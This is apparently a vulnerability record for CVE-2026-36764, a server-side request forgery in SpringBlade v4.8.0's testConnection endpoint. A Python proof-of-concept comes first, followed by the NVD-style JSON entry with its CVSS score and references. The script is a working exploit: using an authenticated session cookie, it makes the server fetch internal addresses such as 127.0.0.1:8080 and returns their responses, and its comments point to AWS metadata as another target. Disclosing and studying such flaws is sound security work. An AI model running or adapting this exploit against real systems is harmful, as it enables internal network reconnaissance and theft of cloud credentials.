CVE-2026-36764

import requests # Target URL of the vulnerable SpringBlade instance target_host = "http://vulnerable-host:80" endpoint = "/ureport/datasource/testConnection" # Internal resource to access (e.g., local admin panel or file) # Example: Scanning internal port 8080 or AWS metadata internal_target = "http://127.0.0.1:8080" # Attacker's authenticated session cookie (Required: PR:L) # Replace 'valid_token' with a real session token obtained after login cookies = { "Blade-Auth": "valid_token" } # Malicious payload parameters # The parameter name might vary based on implementation, 'url' is used as a generic example payload = { "url": internal_target, "name": "test", "driver": "com.mysql.jdbc.Driver" } try: # Sending the crafted GET request response = requests.get(target_host + endpoint, params=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] SSRF Triggered successfully!") print("[+] Response from internal resource:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-36764", "sourceIdentifier": "[email protected]", "published": "2026-04-30T17:16:26.157", "lastModified": "2026-04-30T18:16:29.540", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Request Forgery (SSRF) in the /ureport/datasource/testConnection endpoint of SpringBlade v4.8.0 allows authenticated attackers to scan internal resources via a crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/chillzhuang/SpringBlade", "source": "[email protected]"}, {"url": "https://github.com/chillzhuang/SpringBlade/issues/36", "source": "[email protected]"}, {"url": "https://github.com/chillzhuang/SpringBlade/issues/36", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}